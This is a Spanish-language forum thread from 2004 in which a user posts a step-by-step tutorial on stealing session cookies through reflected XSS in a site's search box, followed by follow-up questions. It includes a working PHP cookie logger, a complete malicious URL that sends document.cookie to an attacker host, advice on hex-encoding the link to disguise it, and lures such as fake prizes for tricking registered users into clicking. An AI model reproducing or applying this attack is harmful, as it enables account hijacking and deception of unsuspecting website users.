[::Tutorial::] - Ataques XSS

Iniciado por Rentero, 24 Mayo 2004, 03:49 AM

0 Miembros y 2 Visitantes están viendo este tema.

Rentero

Bueno pues voy ha hacer una pequeña introducción a los ataques XSS, el caso que voy a poner es el de una web que utilize cookies y tenga un buscador(el típico buscador que tiene una caja de texto y un botón).
decir que para una facil compresión de este mini-tutorial es mejor tener unos conocimientos básicos sobre html.

[~]Lo primero es hacer una pequeña introduccion sobre que es una cookie:
Citar- Una cookie es un almacen de informacion que se guarda en el ordenador del usuario y en cualkier momento la pagina puede pedir la informacion, que contiene la cookie, al ordenador del usuario...

  • Ahora que sabemos que es una cookie lo que vamos ha hacer es ver el nombre de la página donde se encuentra el buscador, en nuestro caso es buscador.php(xDD)
  • Después vamos a ver si el buscador es vulnerable. Para ello podemos poner en el buscador, por ejemplo:
    <script>alert()</script>

    [~]Si salta una alarma al pulsar el boton, significa que ese buscador es vulnerable.
    [~]Si no salta pues no jodemos y a buscar otro...

  • Suponiendo que sea vulnerable, el siguiente paso es ver el nombre de la caja de texto y del botón.
    Para esto, tenemos que ver el codigo fuente de dicha página y buscar algo como:
    <input type="text" name="palabra"> que será el textbox(caja de texto xD).
    <input type="submit" name="buscar" value="Buscar"> que será el boton.

  • Ahora ya sabemos que el textbox se llama palabra y que el botón se llama buscar.

    [~]Para almacenar las cookies, tenermos dos opciones -> almazenarlas en una base de datos(mysql) o almacenarlas en un archivo de texto(la mas facil).

  • A continuacion vamos a crear una pagina en php, este archivo creará otro (archivo.txt) cuando algun usuario caiga en el ataque y escribira a continuacion los siguientes usuarios.

    cookies.php
    <?
    $cookie = $_GET['cookie'];
    $fff = fopen("archivo.txt","a");
    fwrite($fff, "$cookie \n");
    fclose($fff);
    ?>


    archivo.txt
    Este archivo se creara automaticamente y será en el que se almacenen las cookies, osease, que para ver los resultados teneis que entrar en este archivo.

  • Una vez hecho este paso solo tenemos que crear "LA URL MALIGNA"(como yo lo llamo) que será de la siguiente forma:

    http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=;

  • Voy a explicar cada parte de esta "URL MALIGNA".

    [~]http://www.vulnerable.com/buscador.php
    Esta parte lo unico que hace es entrar en la pagina del buscador.

    [~]?palabra=
    Esta parte es para darle un valor a la variable palabra, es decir, si el textbox se llamara manolo esto quedaría de la siguiente forma: ?manolo=

    Lo mas importante:
    [~]<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>
    Esto es el valor que le damos a la variable palabra (que es el textbox). Este valor lo que hace esque redirecciona a la pagina http://www.atacante.com/cookie.php y le da el valor de la cookie(del usuario de la web) a la variables cookie de la pagina que creamos antes(cookies.php)
    Suena un poco lioso pero es muy simple.

    [~]&buscar=;
    Esto lo que hace es simular que el boton (con el nombre -> buscar) este pulsado, sin esto no realizaria la acción.
    Tambien decir que si el botón del buscador se llamara jose, eso tendriamos que reemplazarlo por &jose=;

  • Ahora viene la parte mas importante, que es hacer que un usuario de esa web(que esté registrado) entre en ese enlace("LA URL MALIGNA").
    Esto seguramente sea la parte mas complicada, porque cualkier persona con unos conocimientos muy basicos de programacion web sabría lo que hace esa "URL MALIGNA". Con lo cual vamos a proceder a "camuflar" un poco esa URL.
    Para esto vamos a sustituir cada caracter por su correspondiente valor en hexagesimal poniendo el signo % delante de cada uno.

    Aquí os dejo una buena tabla HEX:
    http://www.ascii.cl/es/

    Con lo cual iría quedando algo así:
    %70%61%6C%61%62%72%61%3D%3C%73%63%72%69%70%74%3E...
    esto equivaldría a:
    palabra=<script>...
    y tendrias que continuar cambiando los caracteres a hexagesimal.

    Como conseguir que un usuario de esa web entre en esa URL, jejeje, pues ¡¡¡puedes decirle que le toca un premio si entra!!!(xDD) o puedes entrar al foro de esa web(si lo tuviera) y poner la direccion con alguna buena escusa como: "Que le pasa a la web, cuando entro en esta URL me sale una tía en bolas";
    Otra opción es ponerlo como una noticia (si tienes un sistemas de noticias) o como se te ocurra.

    =============================================
    Solo me queda decir que no solo son vulnerbles a un ataque XSS los buscadores, puede ser cualquier formulario que os encontreis por internet, desde un registro de usuario hasta un foro(lo digo por experiencia).
    =============================================

    CONCLUSION: Este ataque se basa en redireccionar a un usuario(sea como sea) hacia una pagina, tuya, en la que guardes su cookie.

    Creo que como introduccion no esta mal, aunque por las bullas de ponerlo pronto a lomejor me he quedado sin decir algo, weno si me acuerdo lo pongo...

    Saludos by neohex

    P.D:Por supuesto si algo esta mal o lo sabeis explicar mejor o esto es una *****, pues decirlo aqui...

    P.D2:No sabía si ponerlo en Exploit o en Dudas hack, si lo considerais necesario moverlo.
Firmado.

Crack_X

una pequeña pregunta... se puede reproducir este texto , osea puedo ponerlo en mi pagina ? :P
Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone

Rentero

Si, mientras menciones la fuente.
Firmado.

dxr

#3
1º como sabemos el nombre de la cookie original??? para nombrarla asi...

y 2º para q esto funcione osea teniendo la cookie... por ejhemplo si tengo la cookie de un admin de una web y quiero entrar como si fuera el, el tendria q tener el logeo  automatico no??? sino no serviria... o ay algun modo de entrar a traves de la cookie poniendola en la url o algo?

---------------------------------------------------------------------------------

Otra cosa en q se vaya si es vulnerable o no? osea para q salte la alerta???

xq en una web con un buscador pongo:

<script>alert()</script>

y contesta:

No se han encontrado resultados para "<script>alert()</script>" en noticias.
Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.

-Riven-Ward-

En ese caso que tu dices que te tira el texto escrito, y no la alerta, -NO- es vulnerable. Como muy bien dijo el neo, debe salirte la alerta para que sea vulnerable.


Salu2!
Usuario Banneado

Rentero

#5
1º-> Nombre original de la cookie???...cuando tu obtienes la cookie obtienes el nombre de la cookie y luego su valor
de esta forma:
n_user=neohex;
Es decir: la cookie n_user es igual a al valor neohex

poniendote el ejemplo de mi website:
yo cuando un usuario se loggea coloco dos cookies:
-Una con su nombre de usuario
-Otra con su password

a la primera la llamo n_user y a la segunda n_pass y si me hago el atako a mi mismo -> los valores que me dan(en el archivo.txt) son de esta forma:
n_user=neohex; n_pass=123456

Siendo neohex el usuario y 123456 la contraseña.


2º Si tienes el user y conseña de un usuario(o del admin) no tienes que complicarte creando una cookie o insertando una URL, directamente solo tienes que ir a la pagina de loggeo y poner el user y el pass, como si fueran los tuyos, ..no se si me explico.

---------------------------------------------
Otra cosa...como dice riven-ward, no es vulnerable puesto que no te salta la alarma y te lo muestra como texto.

y poner <scritp>alert()</script> no es mas que una forma de probar, si te es mas comodo puedes poner lo que kieras(<u>algo</u>, <font size="20">algo</font>, etc)
Firmado.

dxr

ya pero supongo q los nombres de usuarios y las contraseñas estaran encriptadas en la cookie no?
Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.

byebye

la contraseña casi seguro que si, pero te creas la cookie y la pagina te reconocera como el usuario.

Firos

Yo tenía un par de dudas... leí, quizas el sueño me tenga un poco liado.

Alguna vez he visto como la gente hace ese tipo de ataques y creo que el archivo cookies.php que tu nombras (el que tu creas) lo creas en una pagina web tuya, no?

Cuando pones esa url en el foro, lo que haces es enviar a esas personas a la url de esa página, pero como esta sustituida por una tuya se envian los datos a donde esta hospedada cookies.php, no?

Pero donde **** están los archivos *.txt donde aparece el user y el pass, en el servidor? a donde se envian?

Salu2..
El final del camino no está determinado, lo determinamos nosotros mismos paso a paso, día a día, y se puede cambiar.

Rentero

#9
Mira, es más simple de lo que parece....haber...en definitiva lo que hace es que cuando un usuario entra en esa URL, lo redirecciona a la pagina(cookies.php) que TU has creado en tu hosting. Si miras la URL verás lo que pasa:
http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>
Te voy a poner en texto lo que esto hace:
"La pagina(cookies.php) tiene una variable(cookie), y a la variable cookie vamos a darle el valor que tiene la cookie del usuario(cookie='+document.cookie;)".

Ahora nos podemos fijar en el archivo cookies.php(que tienes que crear tú y ponerlo en tu hosting)
<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>

Vamos a fijarnos en que hace este archivo linea por linea.

1.- $cookie = $_GET['cookie']; -Recoje el valor de la variable cookie(que es la cookie del usuario(cookie='+document.cookie;)).

2.- $fff = fopen("archivo.txt","a"); - Abre una conexion con el archivo de texto (archivo.txt) y si no existe lo crea automaticamente.

3.- fwrite($fff, "$cookie \n"); - Escribe dentro del archvio(archivo.txt) el contenido de la variable $cookie(que tiene el valor de la cookie del usuario) y aparte pone un salto de linea para que la siquiente cookie que recibas no se escriba a continuacion sino debajo de la anterior.

4.- fclose($fff); - Cierra la conexion con el archivo(archivo.txt).

RESUMEN:
1- Creas el archivo cookies.php y lo subes a tu hosting.
2- Creas la "URL MALIGNA" con los datos de la web vulnerable.
3- Intentas que un usuario de esa web entre en esa URL(de la forma que sea-> foro, pidiendoselo, etc)
4- Para ver lo resultados(es decir, ver cuantos usuarios han caido en tu trampa) tienes que entrar en tu archivo.txt(http://www.atacante.com/archivo.txt)

Con lo cual tu el único archivos que tienes que crear es el cookies.php, porque el archivo.txt es solo para ver lo resultados y se crea automaticamente.

Espero que te haya quedado claro... ;D ;D
Firmado.